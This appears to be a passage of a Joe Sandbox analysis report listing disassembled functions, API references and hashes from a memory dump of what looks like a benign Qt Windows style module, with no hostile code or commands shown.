Opcode ID: 3b0eb25a1c4768a36c89c632dd192c36ef1802a751325b595f53e885af238b3a
Instruction ID: 011fa96a3b57cf74d2bbcfb19104a185ffef9d6272e1c1d154b19f441ffe0d32
Opcode Fuzzy Hash: 3b0eb25a1c4768a36c89c632dd192c36ef1802a751325b595f53e885af238b3a
Instruction Fuzzy Hash: 1BF03CB26096418BD725CF15E04466AF7B1FB88BA4F504225DB8E83B64DBBDE448CF00

Function 00007FF81231831F Relevance: 7.6, APIs: 5, Instructions: 134COMMON

Download Yara Rule

APIs

?nativeMetricScaleFactor@QWindowsStylePrivate@@SANPEBVQWidget@@@Z.QT5WIDGETS ref: 00007FF81231837F
GetSystemMetrics.USER32 ref: 00007FF81231839E
?dpiScaled@QStyleHelper@@YANNPEBVQStyleOption@@@Z.QT5WIDGETS ref: 00007FF8123183BB
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF8123183D3
?visualRect@QStyle@@SA?AVQRect@@W4LayoutDirection@Qt@@AEBV2@1@Z.QT5WIDGETS ref: 00007FF8123185E1

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Style$Style@@$?dpi?native?proxy@?visualDirection@Factor@Helper@@LayoutMetricMetricsOption@@@Private@@Qt@@Rect@Rect@@ScaleScaled@SystemV2@1@Widget@@@Windows
String ID:
API String ID: 2703714581-0
Opcode ID: dbf102684acb2a35d77de8a41d66fa1a966b1780541249f278a0e1e1a69d8e28
Instruction ID: d7d0aa1c88ea9418856f33b60604a2284fa6f95532c4a1ffce9f154d48cd5a8f
Opcode Fuzzy Hash: dbf102684acb2a35d77de8a41d66fa1a966b1780541249f278a0e1e1a69d8e28
Instruction Fuzzy Hash: 4E51C272F14F418AF317CB7495502ED6760BF697E8F045332DE0A63A65EF78A8928700

Function 00007FF81231833A Relevance: 7.6, APIs: 5, Instructions: 130windowCOMMON

Download Yara Rule

APIs

?nativeMetricScaleFactor@QWindowsStylePrivate@@SANPEBVQWidget@@@Z.QT5WIDGETS ref: 00007FF81231837F
GetSystemMetrics.USER32 ref: 00007FF81231839E
?dpiScaled@QStyleHelper@@YANNPEBVQStyleOption@@@Z.QT5WIDGETS ref: 00007FF8123183BB
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF8123183D3
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231852A
?actualSize@QIcon@@QEBA?AVQSize@@AEBV2@W4Mode@1@W4State@1@@Z.QT5GUI ref: 00007FF812318567
?isNull@QIcon@@QEBA_NXZ.QT5GUI ref: 00007FF812318571
?visualRect@QStyle@@SA?AVQRect@@W4LayoutDirection@Qt@@AEBV2@1@Z.QT5WIDGETS ref: 00007FF8123185E1
?dpiScaled@QStyleHelper@@YANNPEBVQStyleOption@@@Z.QT5WIDGETS ref: 00007FF81231864B

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Style$Style@@$?dpi?proxy@Helper@@Icon@@Option@@@Scaled@$?actual?native?visualDirection@Factor@LayoutMetricMetricsMode@1@Null@Private@@Qt@@Rect@Rect@@ScaleSize@Size@@State@1@@SystemV2@1@Widget@@@Windows
String ID:
API String ID: 1348229865-0
Opcode ID: 235c43077833881dada65853207776c9654463005349dfaa767bd7c6d800e36a
Instruction ID: 1fed2173f7a7719247d7fbd499a51ac821d638ee483f1b2c592eccce6151c745
Opcode Fuzzy Hash: 235c43077833881dada65853207776c9654463005349dfaa767bd7c6d800e36a
Instruction Fuzzy Hash: 3C51B172E14F418AF317CB7495112ED77A4BF697A8F049332DE0A63B65EF78A4928700

Function 00007FF81231834A Relevance: 7.6, APIs: 5, Instructions: 130windowCOMMON

Download Yara Rule

APIs

?nativeMetricScaleFactor@QWindowsStylePrivate@@SANPEBVQWidget@@@Z.QT5WIDGETS ref: 00007FF81231837F
GetSystemMetrics.USER32 ref: 00007FF81231839E
?dpiScaled@QStyleHelper@@YANNPEBVQStyleOption@@@Z.QT5WIDGETS ref: 00007FF8123183BB
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF8123183D3
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231852A
?actualSize@QIcon@@QEBA?AVQSize@@AEBV2@W4Mode@1@W4State@1@@Z.QT5GUI ref: 00007FF812318567
?isNull@QIcon@@QEBA_NXZ.QT5GUI ref: 00007FF812318571
?visualRect@QStyle@@SA?AVQRect@@W4LayoutDirection@Qt@@AEBV2@1@Z.QT5WIDGETS ref: 00007FF8123185E1
?dpiScaled@QStyleHelper@@YANNPEBVQStyleOption@@@Z.QT5WIDGETS ref: 00007FF81231864B

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Style$Style@@$?dpi?proxy@Helper@@Icon@@Option@@@Scaled@$?actual?native?visualDirection@Factor@LayoutMetricMetricsMode@1@Null@Private@@Qt@@Rect@Rect@@ScaleSize@Size@@State@1@@SystemV2@1@Widget@@@Windows
String ID:
API String ID: 1348229865-0
Opcode ID: 5c93e4daa3e7bf6dc4c7b63fc9b65a718e5ca28d33c1ee4e6f2ab8c2bce94f12
Instruction ID: d9e0d0f277177209e4d3dab5fac209f99192a4412f9a4cfd374da9768b8eaa9b
Opcode Fuzzy Hash: 5c93e4daa3e7bf6dc4c7b63fc9b65a718e5ca28d33c1ee4e6f2ab8c2bce94f12
Instruction Fuzzy Hash: 1751C132E14B418AF317CB3495102ED77A0BF697A8F005332DE0A63B65EF78A4828700

Function 00007FF81231835A Relevance: 7.6, APIs: 5, Instructions: 130windowCOMMON

Download Yara Rule

APIs

?nativeMetricScaleFactor@QWindowsStylePrivate@@SANPEBVQWidget@@@Z.QT5WIDGETS ref: 00007FF81231837F
GetSystemMetrics.USER32 ref: 00007FF81231839E
?dpiScaled@QStyleHelper@@YANNPEBVQStyleOption@@@Z.QT5WIDGETS ref: 00007FF8123183BB
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF8123183D3
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231852A
?actualSize@QIcon@@QEBA?AVQSize@@AEBV2@W4Mode@1@W4State@1@@Z.QT5GUI ref: 00007FF812318567
?isNull@QIcon@@QEBA_NXZ.QT5GUI ref: 00007FF812318571
?visualRect@QStyle@@SA?AVQRect@@W4LayoutDirection@Qt@@AEBV2@1@Z.QT5WIDGETS ref: 00007FF8123185E1
?dpiScaled@QStyleHelper@@YANNPEBVQStyleOption@@@Z.QT5WIDGETS ref: 00007FF81231864B

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Style$Style@@$?dpi?proxy@Helper@@Icon@@Option@@@Scaled@$?actual?native?visualDirection@Factor@LayoutMetricMetricsMode@1@Null@Private@@Qt@@Rect@Rect@@ScaleSize@Size@@State@1@@SystemV2@1@Widget@@@Windows
String ID:
API String ID: 1348229865-0
Opcode ID: 4f254d19086d8d266ba6612c19877a3d4a4834cdacfc6c2eb901b757e0a6010e
Instruction ID: c53803e986e559e5d5dad5bafdfd45b0ab20fb39ad91eaf4109ca5a583f40c4c
Opcode Fuzzy Hash: 4f254d19086d8d266ba6612c19877a3d4a4834cdacfc6c2eb901b757e0a6010e
Instruction Fuzzy Hash: 6351C132E14B418AF317CB3495502ED77A0BF697E8F045332DE0A63B65EF78A8828700

Function 00007FF81231830A Relevance: 7.6, APIs: 5, Instructions: 130windowCOMMON

Download Yara Rule

APIs

?nativeMetricScaleFactor@QWindowsStylePrivate@@SANPEBVQWidget@@@Z.QT5WIDGETS ref: 00007FF81231837F
GetSystemMetrics.USER32 ref: 00007FF81231839E
?dpiScaled@QStyleHelper@@YANNPEBVQStyleOption@@@Z.QT5WIDGETS ref: 00007FF8123183BB
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF8123183D3
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231852A
?actualSize@QIcon@@QEBA?AVQSize@@AEBV2@W4Mode@1@W4State@1@@Z.QT5GUI ref: 00007FF812318567
?isNull@QIcon@@QEBA_NXZ.QT5GUI ref: 00007FF812318571
?visualRect@QStyle@@SA?AVQRect@@W4LayoutDirection@Qt@@AEBV2@1@Z.QT5WIDGETS ref: 00007FF8123185E1
?dpiScaled@QStyleHelper@@YANNPEBVQStyleOption@@@Z.QT5WIDGETS ref: 00007FF81231864B

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Style$Style@@$?dpi?proxy@Helper@@Icon@@Option@@@Scaled@$?actual?native?visualDirection@Factor@LayoutMetricMetricsMode@1@Null@Private@@Qt@@Rect@Rect@@ScaleSize@Size@@State@1@@SystemV2@1@Widget@@@Windows
String ID:
API String ID: 1348229865-0
Opcode ID: a3a81ee1444c570ce97493a3856bb4b45ab03090b5636d75ca0cf013feeb59b3
Instruction ID: 490cdb0a53a82406b90629fafde2ace591669bc149d5421e7dae4f7871062dc9
Opcode Fuzzy Hash: a3a81ee1444c570ce97493a3856bb4b45ab03090b5636d75ca0cf013feeb59b3
Instruction Fuzzy Hash: CD51D272E14B418AF317CB3895112ED77A0BF697E8F005332DE0A63B65EF78A4828700

Function 00007FF81231830F Relevance: 7.6, APIs: 5, Instructions: 130windowCOMMON

Download Yara Rule

APIs

?nativeMetricScaleFactor@QWindowsStylePrivate@@SANPEBVQWidget@@@Z.QT5WIDGETS ref: 00007FF81231837F
GetSystemMetrics.USER32 ref: 00007FF81231839E
?dpiScaled@QStyleHelper@@YANNPEBVQStyleOption@@@Z.QT5WIDGETS ref: 00007FF8123183BB
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF8123183D3
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231852A
?actualSize@QIcon@@QEBA?AVQSize@@AEBV2@W4Mode@1@W4State@1@@Z.QT5GUI ref: 00007FF812318567
?isNull@QIcon@@QEBA_NXZ.QT5GUI ref: 00007FF812318571
?visualRect@QStyle@@SA?AVQRect@@W4LayoutDirection@Qt@@AEBV2@1@Z.QT5WIDGETS ref: 00007FF8123185E1
?dpiScaled@QStyleHelper@@YANNPEBVQStyleOption@@@Z.QT5WIDGETS ref: 00007FF81231864B

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Style$Style@@$?dpi?proxy@Helper@@Icon@@Option@@@Scaled@$?actual?native?visualDirection@Factor@LayoutMetricMetricsMode@1@Null@Private@@Qt@@Rect@Rect@@ScaleSize@Size@@State@1@@SystemV2@1@Widget@@@Windows
String ID:
API String ID: 1348229865-0
Opcode ID: 92dbdda0d19150f172894aa8529fe5b9dca4c4ee5a55af368a3bf8d58b04aecb
Instruction ID: 54e6d30db9ab5e2c2ea0b08aa9a8c526128fdbc872838af7287536d3e03170d8
Opcode Fuzzy Hash: 92dbdda0d19150f172894aa8529fe5b9dca4c4ee5a55af368a3bf8d58b04aecb
Instruction Fuzzy Hash: 9851B172E14B418AF317CB7495112ED77A4BF697A8F045332DE0A63B65EF78A4928700

Function 00007FF81231836A Relevance: 7.6, APIs: 5, Instructions: 128windowCOMMON

Download Yara Rule

APIs

?nativeMetricScaleFactor@QWindowsStylePrivate@@SANPEBVQWidget@@@Z.QT5WIDGETS ref: 00007FF81231837F
GetSystemMetrics.USER32 ref: 00007FF81231839E
?dpiScaled@QStyleHelper@@YANNPEBVQStyleOption@@@Z.QT5WIDGETS ref: 00007FF8123183BB
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF8123183D3
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231852A
?actualSize@QIcon@@QEBA?AVQSize@@AEBV2@W4Mode@1@W4State@1@@Z.QT5GUI ref: 00007FF812318567
?isNull@QIcon@@QEBA_NXZ.QT5GUI ref: 00007FF812318571
?visualRect@QStyle@@SA?AVQRect@@W4LayoutDirection@Qt@@AEBV2@1@Z.QT5WIDGETS ref: 00007FF8123185E1
?dpiScaled@QStyleHelper@@YANNPEBVQStyleOption@@@Z.QT5WIDGETS ref: 00007FF81231864B

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Style$Style@@$?dpi?proxy@Helper@@Icon@@Option@@@Scaled@$?actual?native?visualDirection@Factor@LayoutMetricMetricsMode@1@Null@Private@@Qt@@Rect@Rect@@ScaleSize@Size@@State@1@@SystemV2@1@Widget@@@Windows
String ID:
API String ID: 1348229865-0
Opcode ID: 2845a8533e8df527e984989391ab918029d3512c98f6bf39dc46ea44de1abd51
Instruction ID: ad489cfecbb941904f3a628ce524eab0d14573dc4b874d2a3d3e301f4d05f78b
Opcode Fuzzy Hash: 2845a8533e8df527e984989391ab918029d3512c98f6bf39dc46ea44de1abd51
Instruction Fuzzy Hash: 9E51D372E14B418AF317CB3495112ED77A0BF697E8F015332DE0A63B65EF78A4928700

Function 00007FF81232414D Relevance: 7.6, APIs: 5, Instructions: 94COMMON

Download Yara Rule

APIs

?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81232419C
??HQRegion@@QEBA?BV0@AEBVQRect@@@Z.QT5GUI ref: 00007FF81232425C
??4QRegion@@QEAAAEAV0@AEBV0@@Z.QT5GUI ref: 00007FF812324269
??1QRegion@@QEAA@XZ.QT5GUI ref: 00007FF812324273
??1QRegion@@QEAA@XZ.QT5GUI ref: 00007FF81232427D

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Region@@$?proxy@Rect@@@Style@@V0@@
String ID:
API String ID: 109746496-0
Opcode ID: 31413f8722f415f69d241d847c1202c6200de1bc14da44b92c43a3a42d38f5f7
Instruction ID: 5339130f7f7eaf3249a36e8a9733ead73a28bd7ba776183a27b0aba02c590c10
Opcode Fuzzy Hash: 31413f8722f415f69d241d847c1202c6200de1bc14da44b92c43a3a42d38f5f7
Instruction Fuzzy Hash: 73416F32A08A918AF7258FA9D4512ED73B0FB54798F044269DF4D27B58DF78A08AC700

Function 00007FF8123180C0 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

??4QRegion@@QEAAAEAV0@$$QEAV0@@Z.QT5GUI ref: 00007FF812318198
??1QRegion@@QEAA@XZ.QT5GUI ref: 00007FF8123181A3
?color@QPalette@@QEBAAEBVQColor@@W4ColorRole@1@@Z.QT5GUI ref: 00007FF8123181B9
?darker@QColor@@QEBA?AV1@H@Z.QT5GUI ref: 00007FF8123181CD
?rgba@QColor@@QEBAIXZ.QT5GUI ref: 00007FF8123181D6

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Color@@$Region@@$?color@?darker@?rgba@ColorPalette@@Role@1@@V0@$$V0@@
String ID:
API String ID: 3073303128-0
Opcode ID: 083ac9b8e9d0436a9824d5e95df16459f6d0e5a2eae8ea34c9ee34304385b824
Instruction ID: 5f7516c8a5ae6ea69317c8ab8bc1ac713a3ea98f6c034ad2d03e2b6feecdaab7
Opcode Fuzzy Hash: 083ac9b8e9d0436a9824d5e95df16459f6d0e5a2eae8ea34c9ee34304385b824
Instruction Fuzzy Hash: BE31B032A18B8282F7658B14E9443B9A3A4FF897E0F504272DA4D037B5DFBCE5958B00

Function 00007FF812324C75 Relevance: 7.6, APIs: 5, Instructions: 65COMMON

Download Yara Rule

APIs

?subElementRect@QWindowsStyle@@UEBA?AVQRect@@W4SubElement@QStyle@@PEBVQStyleOption@@PEBVQWidget@@@Z.QT5WIDGETS ref: 00007FF812324C87
??0QStyleOptionTab@@QEAA@XZ.QT5WIDGETS ref: 00007FF812324CC0
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF812324CE0
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF812324D05
??1QStyleOptionTab@@QEAA@XZ.QT5WIDGETS ref: 00007FF812324D38

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Style@@$Style$?proxy@OptionTab@@$?subElementElement@Option@@Rect@Rect@@Widget@@@Windows
String ID:
API String ID: 4192306627-0
Opcode ID: 08dd81f7822af309fce03f6a068474a9c15d505ab2672d573f0fb6a7cb11be08
Instruction ID: 76dd616dd0078d76fc8b84076652e7c306d34ace6cb0978582cfaeabaf083c6e
Opcode Fuzzy Hash: 08dd81f7822af309fce03f6a068474a9c15d505ab2672d573f0fb6a7cb11be08
Instruction Fuzzy Hash: 54219A32A04B9286EB158F25E9442EA3330F789BE8F404136DF0E17AA4DF7DE4858700

Function 00007FF812321F49 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

?windowType@QWidget@@QEBA?AW4WindowType@Qt@@XZ.QT5WIDGETS ref: 00007FF812321F51
GetSystemMetrics.USER32 ref: 00007FF812321F5F
GetSystemMetrics.USER32 ref: 00007FF812321F6C
GetSystemMetrics.USER32 ref: 00007FF812321F7D
GetSystemMetrics.USER32 ref: 00007FF812321F8A

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: MetricsSystem$Type@$?windowQt@@Widget@@Window
String ID:
API String ID: 2319562268-0
Opcode ID: eccd0519a76be9a3549f9c89e57b5d0e1061defe8747151b59ab9564d9307f31
Instruction ID: fdde54a26a2fc1c9f8cee338be83734958f45a2b9a41b52a496ebcfe13bab3b6
Opcode Fuzzy Hash: eccd0519a76be9a3549f9c89e57b5d0e1061defe8747151b59ab9564d9307f31
Instruction Fuzzy Hash: 6BF0F965B08F4296E755CB6498582F822A1FB487E5F4406B1DA6E933F2CFBDAC468300

Function 00007FF81231FB2E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

?inherits@QObject@@QEBA_NPEBD@Z.QT5CORE ref: 00007FF81231FB3A
?parentWidget@QWidget@@QEBAPEAV1@XZ.QT5WIDGETS ref: 00007FF81231FB49
?isWindow@QWidget@@QEBA_NXZ.QT5WIDGETS ref: 00007FF81231FB57

Strings

QDockWidgetTitleButton, xrefs: 00007FF81231FB33

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Widget@@$?inherits@?parentObject@@Widget@Window@
String ID: QDockWidgetTitleButton
API String ID: 3564839902-3136866964
Opcode ID: 9aa2cbc1db5db814ef08e42b48be501830d88e022c2302b09222816bfceb17e5
Instruction ID: 04b194fd819016dab45c8dfa5774b3856fa674862e0e85e1c480b69f9889086a
Opcode Fuzzy Hash: 9aa2cbc1db5db814ef08e42b48be501830d88e022c2302b09222816bfceb17e5
Instruction Fuzzy Hash: D6119627A0DF4282FA11C755A8143F91361AF987F4F4543B2CE4E132F0CEBEA8C68600

Function 00007FF812311540 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

?property@QObject@@QEBA?AVQVariant@@PEBD@Z.QT5CORE ref: 00007FF812311570
?toBool@QVariant@@QEBA_NXZ.QT5CORE ref: 00007FF812311579
??1QVariant@@QEAA@XZ.QT5CORE ref: 00007FF81231159A

Strings

_q_no_animation, xrefs: 00007FF81231155F

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: Variant@@$?property@Bool@Object@@
String ID: _q_no_animation
API String ID: 1823291034-1968374880
Opcode ID: 715d00d2ce1d96b3c694a3cfaa105a256cdd9f024003b2585b533b3e311c8831
Instruction ID: 4976ce209bd3d4371c97af1e8823ada89d00048a31d4a05f2da25468951864ab
Opcode Fuzzy Hash: 715d00d2ce1d96b3c694a3cfaa105a256cdd9f024003b2585b533b3e311c8831
Instruction Fuzzy Hash: 88F06D26A1DF0286EB64CB51F4902F963B0FF457E0F940275DA8E026B0CFBDE8858710

Function 00007FF81231DC54 Relevance: 6.3, APIs: 4, Instructions: 283COMMON

Download Yara Rule

APIs

?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS(?,?), ref: 00007FF81231DCA4
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS(?), ref: 00007FF81231DCE1
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS(?), ref: 00007FF81231DD12
?proxy@QStyle@@QEBAPEBV1@XZ.QT5WIDGETS ref: 00007FF81231DD36

Memory Dump Source

Source File: 00000016.00000002.1975585946.00007FF812311000.00000020.00000001.01000000.00000047.sdmp, Offset: 00007FF812310000, based on PE: true

Associated: 00000016.00000002.1975549497.00007FF812310000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975628269.00007FF812327000.00000002.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975921005.00007FF812331000.00000004.00000001.01000000.00000047.sdmpDownload File
Associated: 00000016.00000002.1975954113.00007FF812332000.00000002.00000001.01000000.00000047.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff812310000_check.jbxd

Similarity

API ID: ?proxy@Style@@
String ID:
API String ID: 3260451645-0
Opcode ID: 97fb83fcc24b3f7b260bded0b704782f7c74b03580d94c62bf69fa86adc1ce8f
Instruction ID: d8579b855fc4ceb9d7667e4cb7329be27685d6a2b6259d2f748d34c76655cc83
Opcode Fuzzy Hash: 97fb83fcc24b3f7b260bded0b704782f7c74b03580d94c62bf69fa86adc1ce8f
Instruction Fuzzy Hash: 04C1C432B0CB958BD755CA2A98045AD77F1FB86BA0F14457AEE4983F68CB7DD8018F40

Function 00007FF812322A20 Relevance: 6.2, APIs: 4, Instructions: 242COMMON

Download Yara Rule

APIs

?nativeMetricScaleFactor@QWindowsStylePrivate@@SANPEBVQWidget@@@Z.QT5WIDGETS ref: 00007FF812322A88
GetThemeMargins.UXTHEME ref: 00007FF812322B29
?toPoint@QPointF@@QEBA?AVQPoint@@XZ.QT5CORE ref: 00007FF812322CD9
??0QRect@@QEAA@AEBVQPoint@@AEBVQSize@@@Z.QT5CORE ref: 00007FF812322DD7

